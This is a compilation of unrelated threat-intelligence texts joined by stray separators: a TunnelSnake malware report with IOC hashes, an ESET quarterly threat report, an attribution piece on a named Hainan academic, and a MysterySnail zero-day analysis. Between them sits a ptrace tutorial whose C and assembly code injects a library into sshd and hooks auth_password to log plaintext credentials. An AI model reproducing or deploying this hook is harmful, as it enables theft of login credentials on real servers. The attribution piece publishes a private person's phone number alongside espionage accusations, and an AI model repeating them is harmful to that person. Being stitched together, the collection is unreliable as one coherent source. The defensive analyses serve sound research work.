Another interesting artefact found in our telemetry that could be tied to the developers of Moriya is a malware named ProcessKiller. As its name suggests, it is intended to eliminate execution of processes, with the use of a kernel mode driver. Ultimately, this tool is used to shut down and block initiation of AV processes from kernel space, thus allowing other attack tools to run without being detected.
This malware operates through the following stages:
1. An attacker calls the malware’s DLL from an export named Kill, passing it a list of process names it would like to shut down and block as a command-line argument.
2. The malware writes a driver that is embedded as a resource within it, impersonating a Kaspersky driver under the path %SYSTEM%\drivers\kavp.sys.
3. There is an attempt to load the driver using the Service Control Manager. However, since it is not signed and loading is prone to fail on Windows versions above Vista 64-bit, the malware uses the same DSEFix code to bypass Digital Signature Enforcement as witnessed in Moriya’s user mode agent.
4. The malware parses the process names passed as arguments and creates a vector of ‘blacklisted processes’ out of them.
5. For each process in the list, the malware detects its PID and issues it through an IOCTL with code 0x22200C to the driver which is in charge of shutting it down from kernel space.
Once again, the connection to Moriya is based on several observations:
- Distinct debug error messages.
- Filename of the same structure, i.e., Moriya’s agent is internally named ‘MoriyaServiceX64.dll’, and ProcessKiller’s DLL is named ‘ProcessKillerX64.dll’.
- Usage of the exact same DSEFix code to load an unsigned driver.
## What do we know about the threat actor?
Unfortunately, we are not able to attribute the attack to any particular known actor, but based on the TTPs used throughout the campaign, we suppose it is a Chinese-speaking one. We base this on the fact that the targeted entities were attacked in the past by Chinese-speaking actors, and are generally located in countries that are usually targeted by such an actor profile. Moreover, the tools leveraged by the attackers, such as China Chopper, BOUNCER, Termite and Earthworm, are an additional indicator supporting our hypothesis as they have previously been used in campaigns attributed to well-known Chinese-speaking groups.
## Who were the targets?
Based on our telemetry the attacks were highly targeted and delivered to less than 10 victims around the world. The most prominent victims are two large regional diplomatic organizations in South-East Asia and Africa, while all the others were victims in South Asia.
## Conclusion
The TunnelSnake campaign demonstrates the activity of a sophisticated actor that invests significant resources in designing an evasive toolset and infiltrating networks of high-profile organizations. By leveraging Windows drivers, covert communications channels and proprietary malware, the group behind it maintains a considerable level of stealth. That said, some of its TTPs, like the usage of a commodity webshell and open-source legacy code for loading unsigned drivers, may get detected and in fact were flagged by our product, giving us visibility into the group’s operation.
Still, with activity dating back to at least 2018, the threat actor behind this campaign has shown that it is able to evolve and tailor its toolset to target environments. This indicates the group conducting these attacks may well still be active and retooling for additional operations in the area of interest outlined in this publication, as well as other regions. With that in mind, we continue to track this attacker and look for signs of its reappearance in the wild. Any findings and updates will be made available to customers of our Threat Intelligence Portal.
For more information about operation TunnelSnake and the underlying threat actor, contact us at: [email protected].
## IOCs
- 48307C22A930A2215F7601C78240A5EE - Moriya Agent
- A2C4EE84E3A95C8731CA795F53F900D5 - Moriya 64-bit Driver
- 5F0F1B0A033587DBCD955EDB1CDC24A4 - IISSpy
- C1159FE3193E8B5206006B4C9AFBFE62 - ProcessKiller
- DA627AFEE096CDE0B680D39BD5081C41 - ProcessKiller Driver – 32-bit
- 07CF58ABD6CE92D96CFC5ABC5F6CBC9A - ProcessKiller Driver – 64-bit
- 9A8F39EBCC580AA56D6DDAF5804EAE61 - pv.tmp (Custom PSExec Server)
- 39C361ABB74F9A338EA42A083E6C7DF8 - pc.tmp (Custom PsExec Client)
- DE3FB65461EE8A68A3C7D490CDAC296D - tran.tmp (Exfiltration tool)
- EAC0E57A22936D4C777AA121F799FEE6 - client.exe (Utility embedded in tran.tmp)
- D745174F5B0EB41D9F764B22A5ECD357 - rasauto.dll (Bouncer Loader)
- 595E43CDF0EDCAA31525D7AAD87B7BE4 - 8.tmp (HTTP Scanner)
- 9D75B50727A8E732DB0ADE7E270A7395 - ep.tmp DCOM Scanner
- 3A4E1F3F7E1BAAB8B02F3A8EE20F98C9 - nw.tmp Bouncer Loader
- 47F2D06713DAD556F535E523B777C682 - Termite
- 45A5D9053BC90ED657FA90DE0B775E8F - Earthworm
|
# Linux ptrace Introduction: Injecting into sshd for Fun
If there is one thing I've come to appreciate over this past few weeks, it's just how much support you are provided from the Win32 API. That being said, I wanted to tackle some Linux process injection, with the aim of loading a shared object into another process address space without having to resort to LD_PRELOAD, or stopping the process. The goal I set myself was quite simple: could I recover plain text credentials from the sshd process using ptrace? Granted, this is a bit of an arbitrary goal, as there are many other ways to achieve the same result much more effectively (and with much less chance of SEGV), but I thought it would be cool to see this in action.
## What is Ptrace
For anyone who has looked at process injection on Windows, you will probably be familiar with the `VirtualAllocEx()`, `WriteProcessMemory()`, `ReadProcessMemory()`, and `CreateRemoteThread()` suite of calls. These are the common set of API methods used to allocate and execute a thread in another process. In the Linux world, the kernel exposes ptrace, which offers debuggers the ability to interfere with a running process.
Ptrace offers a number of useful operations for debugging, including:
- **PTRACE_ATTACH**: Allows one process to attach itself to another for debugging, pausing the remote process.
- **PTRACE_PEEKTEXT**: Allows the reading of memory from another process address space.
- **PTRACE_POKETEXT**: Allows the writing of memory to another process address space.
- **PTRACE_GETREGS**: Reads the current set of processor registers from a process.
- **PTRACE_SETREGS**: Writes to the current set of processor registers of a process.
- **PTRACE_CONT**: Resumes the execution of an attached process.
Whilst this isn't an exhaustive list of ptrace functionality, the difficulty I found coming from a Win32 background was the lack of supporting functions. For example, in Windows you can allocate memory in a process via `VirtualAllocEx`, in which you are provided with a pointer to a freshly allocated space to write your warez. In ptrace, however, this doesn't appear to exist, which means you have to improvise when wanting to do something like inject code into another process.
That being said, let's walk through how we can achieve control over another process using ptrace.
## Ptrace Concepts
When beginning a typical session, the first thing that we want to do is attach to the process that we will be targeting. To do this, we call ptrace with the `PTRACE_ATTACH` parameter:
```c
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
```
This call is pretty straightforward; it takes the PID of the process we want to target. When called, a SIGSTOP is sent, resulting in the process pausing its execution.
Once attached, we will need to take a backup of the current state of the processor registers before we make any modifications. This will allow us to resume execution at a later stage:
```c
struct user_regs_struct oldregs;
ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);
```
Next, we need to find a place within the process where we can write our injected code. The easiest way to do this is to parse the "maps" file located in procfs for the target. For example, the "/proc/PID/maps" file for a running sshd process on Ubuntu looks like this:
We need to search for a section which is mapped with execute permission (likely this will be "r-xp"). Once found, similar to the process registers, we will need to backup the existing data from the target section to allow us to recover at a later stage. We do this using `PTRACE_PEEKTEXT`:
```c
ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);
```
When called in this way, 1 word of data (32 bits on x86, or 64 bits on x86-64 Linux) will be read from the address provided, meaning repeated calls must be made with an incrementing address parameter.
Please note: Linux also provides `process_vm_readv()` and `process_vm_writev()` for reading/writing to process memory. For the purpose of this tutorial, I will stick with ptrace; however, if you are looking to implement something yourself, it is worth checking these calls out.
Now that we have backed up the parts of the target process we are about to clobber, we can start overwriting our chosen executable section using `PTRACE_POKETEXT`:
```c
ptrace(PTRACE_POKETEXT, pid, addr, word);
```
Similar to `PTRACE_PEEKTEXT`, this call deals with 1 word of data at a time and accepts an address to write to. And similar to `PTRACE_PEEKTEXT`, multiple calls are required to achieve anything more than a 1 word write.
Once we have written our code, we will want to update the process's instruction pointer register to point to our injected code. To keep us from overwriting data in memory (such as data held on the stack), we will use the same registers that we backed up earlier, updating only where needed:
```c
struct user_regs_struct regs;
memcpy(®s, &oldregs, sizeof(struct user_regs_struct));
// Update RIP to point to our injected code
regs.rip = addr_of_injected_code;
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
```
Finally, we can use `PTRACE_CONT` to resume execution:
```c
ptrace(PTRACE_CONT, pid, NULL, NULL);
```
But how do we know when our injected code has finished executing? We use a software interrupt, such as a "int 0x3" instruction, which will generate a SIGTRAP. We listen for this signal using a `waitpid()` call as follows:
```c
waitpid(pid, &status, WUNTRACED);
```
`waitpid()` will block until the process corresponding to the provided PID pauses execution and writes the reason to the "status" variable. Thankfully, there are a number of macros available which make life a bit easier in helping us understand the reason for the pause.
To tell if control has been paused because of a SIGTRAP (caused by our "int 0x03" instruction), we can use:
```c
waitpid(pid, &status, WUNTRACED);
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {
printf("SIGTRAP received\n");
}
```
At this point, we know that our injected code has executed, and just need to restore the process back to its original state. This is simply a case of recovering the original registers:
```c
ptrace(PTRACE_SETREGS, pid, NULL, &origregs);
```
Writing the original memory back to the process:
```c
ptrace(PTRACE_POKETEXT, pid, addr, word);
```
And detaching from the process to resume execution:
```c
ptrace(PTRACE_DETACH, pid, NULL, NULL);
```
## Injecting into SSH
I should probably warn you that there is of course the possibility of crashing sshd for other users, so be careful, and obviously please don't test this on a live system or a system you are remotely SSH'd into. Additionally, there are a number of better ways to achieve a similar effect; I illustrate this technique purely as a fun way to show ptrace's power.
One thing that I wanted to do was to recover username and password combinations from a running sshd process when a user authenticates. Reviewing the sshd source code, we can see the following:
```c
/*
* Tries to authenticate the user using password. Returns true if
* authentication succeeds.
*/
int auth_password(Authctxt *authctxt, const char *password) {
...
}
```
This looks like a nice place to hook and recover plain-text credentials when provided by the user.
Now, we want to find a signature of this function which will allow us to search for it in memory. To do this, I used my favourite disassembly tool, radare2, to disassemble SSH on my Vagrant box. We need to find a set of bytes in the file which is unique to the "auth_password" function. To do this, we use radare2's hex search to find a single matching signature:
It appears that the `xor rdx,rdx; cmp rax, 0x400;` instructions are unique to this function, returning only a single match in the ELF file, so we will use this as our signature. As a side note, if you don't see this signature in your version of sshd, you may want to ensure your version is up to date, as this is actually protecting against a vulnerability fixed mid-2016.
Next, we will need to inject our code into the sshd process.
### Injecting a .so into sshd
To load our code into sshd, we are going to inject a very small stub, which will use `dlopen()` to load a shared library that will perform the hooking of "auth_password". `dlopen()` is a dynamic linker call, which receives a path to a shared library as an argument and loads the library into the calling process. This function is included within `libdl.so`, which is usually dynamically linked to your application during compile time.
Thankfully, in our case, `libdl.so` is already present in sshd, so all we need to do is to call `dlopen()` with our injected code. However, due to ASLR, it's very unlikely that `dlopen()` will be at the same address each time, so we must calculate its address within the sshd process.
To find the address of the function, we are going to first calculate the difference between `libdl.so`'s base address to the `dlopen()` function. This can be done with the following:
```c
unsigned long long libdlAddr, dlopenAddr;
libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY);
dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen");
printf("Offset: %llx\n", dlopenAddr - libdlAddr);
```
Once we have the offset, we can parse the "maps" file of sshd for `libdl.so`, and recover the base address. Having now found the base address of `libdl.so` within sshd (0x7f0490a0d000 in the map file above), we can add our calculated offset to this address and know where `dlopen()` will be when called by our injected code.
To pass this address across to our injected code, we will use a register which we will set using `PTRACE_SETREGS`. We will also need to write the path to our shared library into the sshd process, which we will also pass via a register to our injected stub, for example:
```c
void ptraceWrite(int pid, unsigned long long addr, void *data, int len) {
long word = 0;
int i = 0;
for (i = 0; i < len; i += sizeof(word), word = 0) {
memcpy(&word, data + i, sizeof(word));
if (ptrace(PTRACE_POKETEXT, pid, addr + i, word) == -1) {
printf("[!] Error writing process memory\n");
exit(1);
}
}
}
ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16);
```
By offloading as much as possible to the injecting process and setting registers before calling our stub, we can keep our injected code very simple, for example:
```c
// Update RIP to point to our code, which will be just after
// our injected library name string
regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN;
// Update RAX to point to dlopen()
regs.rax = (unsigned long long)dlopenAddr;
// Update RDI to point to our library name string
regs.rdi = (unsigned long long)freeaddr;
// Set RSI as RTLD_LAZY for the dlopen call
regs.rsi = 2; // RTLD_LAZY
// Update the target process registers
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
```
This means that our injected stub is simply:
```assembly
; RSI set as value '2' (RTLD_LAZY)
; RDI set as char* to shared library path
; RAX contains the address of dlopen
call rax
int 0x03
```
Next, we need to create our shared library which will be loaded by our injected stub. Before moving on, let's look at an important concept that will be used when injecting a shared library: shared object constructors.
### Shared Object Constructor
A shared library supports the ability to execute code upon load, by using the `__attribute__((constructor))` decorator. For example:
```c
#include <stdio.h>
void __attribute__((constructor)) test(void) {
printf("Library loaded on dlopen()\n");
}
```
We can compile this shared object using the following GCC command:
```bash
gcc -o test.so --shared -fPIC test.c
```
And test using `dlopen()`:
```c
dlopen("./test.so", RTLD_LAZY);
```
When the library is loaded, we see that our constructor is also called. We will be using this functionality to make our life a bit easier when it comes to injecting our shared object into another process space.
### sshd Shared Object
Now we have the ability to inject our shared library, we need to craft our code to patch the `auth_password()` function during runtime. When our shared library is loaded, we can find the base address of sshd via the "/proc/self/maps" procfs file. We are looking for the "r-x" protected section of sshd within this file, which will give us the start and end address we will need to search for our `auth_password()` signature:
```c
fd = fopen("/proc/self/maps", "r");
while(fgets(buffer, sizeof(buffer), fd)) {
if (strstr(buffer, "/sshd") && strstr(buffer, "r-x")) {
ptr = strtoull(buffer, NULL, 16);
end = strtoull(strstr(buffer, "-") + 1, NULL, 16);
break;
}
}
```
Once we have our target memory range, we want to hunt for our signature:
```c
const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00";
while(ptr < end) {
// ptr[0] == search[0] added to increase performance during searching
// no point calling memcmp if the first byte doesn't match our signature.
if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) {
break;
}
ptr++;
}
```
And once we have our match, we need to use `mprotect()` to update the memory protection. This is because the section is mapped with only read and execute permissions, and we need write permissions to overwrite the code during runtime:
```c
mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096 * 2, PROT_READ | PROT_WRITE | PROT_EXEC);
```
Now that we have permission to write to this segment, we will add our hook to the start of the function. To save writing the bulk of our hook in assembly, we will use a small trampoline, which will look like this:
```c
char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0";
```
This translates to the following:
```assembly
mov rax, 0x4142434445464748
jmp rax
```
Of course, `0x4142434445464748` is an invalid address which we will replace with the value of our hook function:
```c
*(unsigned long long *)((char*)jmphook + 2) = &passwd_hook;
```
Then we can simply add our trampoline to the sshd function. To keep the injection nice and clean, I chose to add this to the beginning of the function:
```c
// Step back to the start of the function, which is 32 bytes
// before our signature
ptr -= 32;
memcpy(ptr, jmphook, sizeof(jmphook));
```
Finally, we have our hook function which takes care of logging the passed credentials. We must make sure that we store a copy of the registers before the hook and restore the registers before returning to the original code:
```c
// Remember the prolog: push rbp; mov rbp, rsp;
// that takes place when entering this function
void passwd_hook(void *arg1, char *password) {
// We want to store our registers for later
asm("push %rsi\n"
"push %rdi\n"
"push %rax\n"
"push %rbx\n"
"push %rcx\n"
"push %rdx\n"
"push %r8\n"
"push %r9\n"
"push %r10\n"
"push %r11\n"
"push %r12\n"
"push %rbp\n"
"push %rsp\n"
);
// Our code here, is used to store the username and password
char buffer[1024];
int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND);
// Note: The magic offset of "arg1 + 32" contains a pointer to
// the username from the passed argument.
snprintf(buffer, sizeof(buffer), "Password entered: [%s] %s\n", *(void **)(arg1 + 32), password);
write(log, buffer, strlen(buffer));
close(log);
asm("pop %rsp\n"
"pop %rbp\n"
"pop %r12\n"
"pop %r11\n"
"pop %r10\n"
"pop %r9\n"
"pop %r8\n"
"pop %rdx\n"
"pop %rcx\n"
"pop %rbx\n"
"pop %rax\n"
"pop %rdi\n"
"pop %rsi\n"
);
// Recover from the function prologue
asm("mov %rbp, %rsp\n"
"pop %rbp\n"
);
...
}
```
And that's it... well, kind of...
Unfortunately, even after all that, we still have a little bit left to do. If you jumped ahead and injected your code into the sshd process, you will probably notice that credentials are not available to you. This is due to the way in which sshd spawns a child process for each new connection. It is this child process which actually handles the authentication of the user, and this child process that we need to hook.
To make sure we are targeting the child processes of sshd, I settled on a method of scanning the procfs filesystem for the "stats" file holding a PPID of the sshd process. When found, our injector will be run against this new process.
There is actually a benefit of doing our injection in this way. If the worst does happen and your injected code causes a SIGSEGV, you are only killing the child process, and not the main sshd daemon parent process. It's not much of a consolation, but it makes debugging a whole lot easier.
## Injector in Action
Hopefully, this journey gives you enough information to start tackling ptrace yourself. If you have any further comments or questions, you can find me hanging out in the usual places. I would like to pass my thanks to the following people and sites, which helped me to understand ptrace beyond the wall of text that is the ptrace man pages:
- Gaffe23's de-facto standard linux inject toolset
- EvilSocket's awesome write-up on process injection
|
# ESET Threat Report Q4 2020
## Foreword
Welcome to the Q4 2020 issue of the ESET Threat Report! 2020 was many things (“typical” not being one of them), and it sure feels good to be writing about it in the past tense. The growth of ransomware might have been an important factor in the decline of banking malware; a decline that only intensified over the last quarter of the year. Ransomware and other malicious activities are simply more profitable than banking malware, the operators of which already have to grapple with the heightening security in the banking sector. There was, however, one exception to this trend: Android banking malware registered the highest detection levels of 2020 in Q4, fueled by the source code leak of the trojan Cerberus.
In cyberspace, events also took a dramatic turn towards the end of the year, as news of the SolarWinds supply-chain attack swept across the industry. With many high-profile victims, the incident is a stark reminder of the potential scope and impact of these types of attacks, which are also exceedingly difficult to detect and prevent. While not all as earthshaking as the SolarWinds hack, supply-chain attacks are becoming a major trend: in Q4 alone, ESET uncovered as many as the whole sector saw annually just a few years back. And — seeing how much cybercriminals have to gain from them — their numbers are only expected to continue growing in the future.
Luckily, however, threat actors are not the only ones on the offensive. In October 2020, ESET took part in a global disruption campaign targeting TrickBot, one of the largest and longest-lived botnets. Thanks to the combined efforts of all who participated in this operation, TrickBot took a heavy blow with 94% of its servers taken down in a single week. As we step into the new year, this report offers not only an overview of the Q4 threat landscape, but also commentary on the broader trends observed throughout 2020 as well as predictions for 2021 by ESET malware research and detection specialists.
With work from home being the new normal in many sectors — one of the largest shifts brought by the pandemic — the enormous 768% growth of RDP attacks between Q1 and Q4 2020 comes as no surprise. As the security of remote work improves, the boom in these types of attacks is expected to slow down — for which we already saw some signs in Q4. One of the most pressing reasons to pay attention to RDP security is ransomware, commonly deployed through RDP exploits, and posing a great risk to both private and public sectors.
In Q4 2020, the ultimatums made by ransomware gangs were more aggressive than ever, with threat actors demanding probably the highest ransom amounts to date. And while Maze, a pioneer of combining ransomware attacks and the threat of doxing, closed shop in Q4, other threat actors added more and more aggressive techniques to increase pressure on their victims. Seeing the turbulent developments on the ransomware scene throughout 2020, there is nothing to suggest these rampant attacks will not continue in 2021.
Until then… Happy reading, stay safe — and stay healthy!
Roman Kovác, Chief Research Officer
## Featured Story
### ESET takes part in global operation to disrupt TrickBot
Jean-Ian Boutin, ESET Head of Threat Research
Throughout our tracking, we were able to collect and analyze 28 different TrickBot plugins. Some are meant to harvest passwords from browsers, email clients, and a variety of applications, while others can modify network traffic or self-propagate. TrickBot plugins are implemented as standard Windows DLLs, usually with at least these four distinctive exports: Start, Control, Release, and FreeBuffer.
We did not observe many samples of the different plugins once they were developed and used in the wild. The ones that changed the most are those containing a static configuration file embedded in the binary. These configuration files contain, among other things, C&C server information, so it is expected to see these change over time.
Although there are potentially many different downloaded configuration files present in a TrickBot installation, the main module contains an encrypted, hardcoded configuration. This contains a list of C&C servers as well as a default list of plugins that should be downloaded. Being able to gather these configuration files allowed us to map the network infrastructure of TrickBot.
The main module uses its list of hardcoded C&C servers and connects to one of them to download a second list of C&C servers, the so-called psrv list. The main module contacts this second layer of C&C servers to download the default plugins specified in the hardcoded configuration file. Other modules can be downloaded later upon receiving a command to do so from the TrickBot operators.
The accompanying scheme illustrates this initial communication process. We have been tracking these different C&C servers since early 2017. This knowledge was, of course, vital in the disruption effort, since we were able to contribute to mapping the network infrastructure used by the operators.
## News from the Lab
### Banking malware
ESET researchers discovered that LATAM banking trojans, while being several distinct malware families, appear to be cooperating closely. ESET’s long-term research into these trojans has shown a great number of commonalities between the families. First, the implementation of the trojans’ cores is practically identical. The main logic of the distribution chain is shared across the groups, first checking for an indicator that a machine has already been compromised. Several banking trojans started using Windows Installer (MSI) as the first stage of the distribution chain. Additionally, the same distribution chains have been observed to deliver multiple banking trojans.
Other commonalities include the use of the same uncommon third-party libraries and encryption algorithms, and the same string and binary obfuscation techniques. Latin American banking trojans also share execution methods, bringing their own tools bundled in ZIP archives. Since 2019, it has been observed that several Latin American banking trojans have also started targeting European countries, mainly Spain and Portugal. As an additional common feature, they use similar spam email templates.
We believe that there are multiple threat actors responsible for maintaining these malware families and that these threat actors cooperate.
### Backdoors
ESET Research discovered a modular backdoor named ModPipe that allows attackers to access sensitive information on devices running ORACLE MICROS Restaurant Enterprise Series (RES) 3700 POS. The POS software is used in the hospitality industry worldwide. ModPipe consists of multiple modules — initial dropper, persistent loader, the main module that creates the pipe used for communication between modules and controls the whole malware, networking module, and, finally, downloadable modules. The downloadable modules are the most intriguing part of this malware, providing it with additional functionality.
So far, our investigation has uncovered three downloadable modules. The first, GetMicInfo, contains an algorithm capable of decrypting RES 3700 passwords stored in the registry. The others are ModScan, which collects additional information about the environment, and ProcList, which gathers information about currently running processes. Our research suggests that there exist at least four other downloadable modules with unknown functionality.
### XDSpy
ESET Research discovered a previously unknown APT group operating at least since 2011. The group, named XDSpy by ESET, targets government and private sector entities in the Balkans and Eastern Europe in order to exfiltrate data. The group usually uses spearphishing to initiate its attacks. In 2020, it has leveraged the COVID-19 pandemic at least twice for this purpose. The emails mostly contain a ZIP or RAR archive with a malicious file. In June 2020, XDSpy used a vulnerability in Internet Explorer to deliver a malicious RTF file; a patch for that vulnerability was first available two months prior.
No matter how the group makes its first step, what follows is the download of XDDown, the main malware component. XDDown is a downloader that obtains additional malware plug-ins used mainly for data exfiltration. XDSpy operates on business days in the same time zone as its victims, suggesting professional activity.
### Lazarus group
ESET researchers uncovered several attempts to deploy Lazarus malware in South Korea via supply-chain attacks. To do this, Lazarus leveraged legitimate South Korean security software WIZVERA VeraPort and digital certificates stolen from two different companies. Many governmental and internet banking websites in South Korea require additional security software to be installed on users’ computers. One of the programs used to manage such software is WIZVERA VeraPort. Lazarus used this program to deliver malware from compromised websites with specific VeraPort configuration options.
The attacks have been attributed to Lazarus based on community agreement that they constitute the continuation of what KrCERT has called Operation BookCodes, the toolset used in the operation, the setup of the network infrastructure, the unusual method of infiltration and encryption, and Lazarus’s history of targeting South Korea.
## Statistics & Trends
### Top 10 malware detections
- VBA/TrojanDownloader.Agent trojan: 16.4%
- LNK/Agent trojan: 8.1%
- HTML/Fraud trojan: 5.6%
- Win/Exploit.CVE‑2017‑11882 trojan: 3.7%
- DOC/TrojanDownloader.Agent trojan: 3.2%
- HTML/Phishing.Agent trojan: 2.9%
- JS/Agent trojan: 2.8%
- DOC/Fraud trojan: 1.8%
- Win/Phorpiex worm: 1.8%
- Win/HackTool.Equation trojan: 1.5%
### Downloaders
After a strong Q3, downloaders saw a minor retreat in volume in Q4. Most of the hits occurred in October and were for VBA/TrojanDownloader.Agent, a malware family with close ties to Emotet. Two VBA variants were behind the largest spikes observed on October 15 and October 20. Q4 also saw increased activity by SmokeLoader and Zloader, which often downloaded ransomware such as LockBit and Crysis as their final payloads.
### Banking malware
In Q4 2020, banking malware saw a further steady decline, going down 33% from Q3. This tracks with the yearly data, which registered a gradual downward trend in detections. The banking malware family most frequently seen in ESET telemetry remains JS/Spy.Banker, though its share has shrunk, going down from 59% in Q3 to 43% in Q4.
### Ransomware
Q4 saw a minor 4% decline in ransomware detections, the smallest QoQ drop seen in 2020. In contrast to mounting media coverage of increasing ransomware attacks, most of the detections in the chart come from families that are mass-spread via email campaigns and only in a very limited number of targeted attacks; the latter seem to be increasingly popular amongst cybercriminals.
### Cryptominers
After steadily going down since October 2018, cryptominers experienced a 4% increase in Q4. The rise in cryptominer detections seems to be caused mainly by the massive growth in the price of bitcoin and other cryptocurrencies in Q4. Bitcoin capped the year off by reaching its all-time high, trading for more than $29,000 per BTC on December 31, 2020.
## Trends & Outlook
The first weeks of 2020 brought a notable increase in the use of Emotet’s Wi-Fi spreader module. In February, another major change came as its operators added obfuscation to their binaries. Shortly after the update, an unexpected hiatus followed, lasting until July when their servers started spewing new waves of spam, spreading Qbot as the main payload.
In 2021, we would normally expect Emotet to continue to expand its infrastructure and improve its phishing game — but let’s see what the early-2021 takedown efforts bring. As for the relationship with TrickBot, Emotet can be expected to continue the collaboration with this long-term customer as part of post-disruption recovery efforts.
|
# Who is Mr Gu?
In our previous articles, we identified thirteen companies that this blog knows are a front for APT activity in Hainan. Following further analysis, we noticed a close association between these Hainan front companies and the academic world. Multiple job adverts for the companies are posted on university websites. Hainan Xiandun even appears to operate from the Hainan University Library!
## Gu Jian
This company summary for Hainan Xiandun also provides a contact number: 13907545649. Cross-referencing this partial phone number and Hainan, we identified Gu Jian (顾剑) as a Computer Science specialist at Hainan University. We found Gu’s name and phone number in a list of projects on the Hainan University website.
### Gu Jian’s CV
Here is his biography from his web page at Hainan University’s website showing his work history and interests, including as a former member of the People’s Liberation Army.
“[Gu Jian] worked as an educated youth, a PLA soldier, an officer of the Political Department of the Provincial Military Region, a senior engineer of a state-owned enterprise, and a Chinese employee (technical director) of the French representative office of the French company BULL.”
Gu Jian, a Professor in the Information Security Department and former member of the PLA, is now the contact person for an APT front company which itself is linked to twelve other front companies.
### Hainan Xiandun Information Security Technology Competition
Mr Gu is closely involved with Hainan Xiandun. In September 2013, he posted on the Hainan University online forum about “The 2013 Hainan Network Information Security Technology Competition,” saying that teams could enter and that there would be prizes. The posting indicated that more detail was available on xdaqjs.com. This domain is an acronym from the Pinyin for Xiandun Security Competition Final (XianDun AnQuan JueSai – 仙盾安全决赛).
These links between Hainan Xiandun and Hainan University are seen again on the internal Hainan University discussion forum. A user name “xdaqjs” posted to encourage students from any specialism and in any year with an interest in cyber security to attend a session hosted by Hainan Xiandun in the auditorium of the information technology department on 9 September 2013. The competition ran again in 2016, still using xdaqjs as a title.
Mr Gu was not just advertising this competition for a company that he was involved in; he registered the domain.
### Password Cracking
A link to the malicious activity of the front companies can be seen when reading discussion forums about xdaqjs. Individuals purporting to represent the site offered large sums of money to people with password cracking skills outside the ordinary range of dictionary attacks and brute force.
The opening post reveals that Mr Gu is seeking new ways of cracking passwords. The poster is aware of the common techniques, for example, brute force or dictionary attacks, but is seeking new alternatives.
What makes this interaction increasingly strange, though, is that a student posting on this thread said that Mr Gu is inexplicably wealthy and is offering a large amount of money to people able to provide new and inventive ways of cracking passwords. The original text is telling:
“Haha, I only want to know are these things actually crackable… From what I know about our teacher, he doesn’t waste his words. Our teacher says if no one can crack it this time, then he’ll increase the money on offer, 200,000, 300,000, 500,000 RMB. P.S. Believe it or not, our teacher has a lot of money…”
### Mr Huang
The Dean of Mr Gu’s faculty is CCP member Huang Mengxing (黄梦醒). The questions we should ask are: How well does Huang know Gu? Does he know about his department’s support for front companies for APT activity? Most importantly, if he knew, then should he have stopped it?
In summary, Gu Jian, a former member of the PLA, is an academic specializing in Information Security at Hainan University. He is also listed as the contact person for Hainan Xiandun, one of a network of front companies for APT activity.
|
# MysterySnail Attacks with Windows Zero-Day
**Authors**
Boris Larin
Costin Raiu
## Executive Summary
In late August and early September 2021, Kaspersky technologies detected attacks using an elevation of privilege exploit on multiple Microsoft Windows servers. The exploit had numerous debug strings from an older, publicly known exploit for vulnerability CVE-2016-3309, but closer analysis revealed that it was a zero-day. We discovered that it was using a previously unknown vulnerability in the Win32k driver, and exploitation relies heavily on a technique to leak the base addresses of kernel modules. We promptly reported these findings to Microsoft. The information disclosure portion of the exploit chain was identified as not bypassing a security boundary and was therefore not fixed. Microsoft assigned CVE-2021-40449 to the use-after-free vulnerability in the Win32k kernel driver, and it was patched on October 12, 2021, as part of the October Patch Tuesday.
Besides finding the zero-day in the wild, we analyzed the malware payload used along with the zero-day exploit and found that variants of the malware were detected in widespread espionage campaigns against IT companies, military/defense contractors, and diplomatic entities. We are calling this cluster of activity MysterySnail. Code similarity and re-use of C2 infrastructure we discovered allowed us to connect these attacks with the actor known as IronHusky and Chinese-speaking APT activity dating back to 2012.
## Elevation of Privilege Exploit
The discovered exploit is written to support the following Windows products:
- Microsoft Windows Vista
- Microsoft Windows 7
- Microsoft Windows 8
- Microsoft Windows 8.1
- Microsoft Windows Server 2008
- Microsoft Windows Server 2008 R2
- Microsoft Windows Server 2012
- Microsoft Windows Server 2012 R2
- Microsoft Windows 10 (build 14393)
- Microsoft Windows Server 2016 (build 14393)
- Microsoft Windows 10 (build 17763)
- Microsoft Windows Server 2019 (build 17763)
The list of supported products and supported Windows 10 build numbers, explicit declaration of server OSs, and the fact that exploits were only discovered in attacks on servers all lead us to believe the exploit was developed and advertised as a solution to elevate privileges on servers.
CVE-2021-40449 is a use-after-free vulnerability in Win32k’s NtGdiResetDC function. As with many other Win32k vulnerabilities, the root cause of this vulnerability lies in the ability to set user-mode callbacks and execute unexpected API functions during execution of those callbacks. The CVE-2021-40449 is triggered when the function ResetDC is executed a second time for the same handle during execution of its own callback. The exploitation process for this vulnerability is as follows:
1. A user-mode call to ResetDC executes syscall NtGdiResetDC and its inner function GreResetDCInternal. This function gets a pointer to a PDC object and then performs a call to function hdcOpenDCW.
2. Function hdcOpenDCW performs a user-mode callback and can be used to execute ResetDC for the same handle a second time.
3. If an exploit executes ResetDC during a callback, NtGdiResetDC and GreResetDCInternal are executed again for the same DC.
4. If an exploit ignores all the callbacks during the second call to GreResetDCInternal, this function will be executed as intended. It will create a new DC and get rid of the old one (the PDC object is destroyed).
5. In the callback, after the second ResetDC call has completed, the exploit can reclaim the freed memory of the PDC object and finish the execution of the callback.
6. After execution of the callback, function hdcOpenDCW returns to GreResetDCInternal, but the pointer retrieved in step (1) is now a dangling pointer – it points to the memory of the previously destroyed PDC object.
7. In the late stage of GreResetDCInternal execution, a malformed PDC object can be used to perform a call to an arbitrary kernel function with controlled parameters.
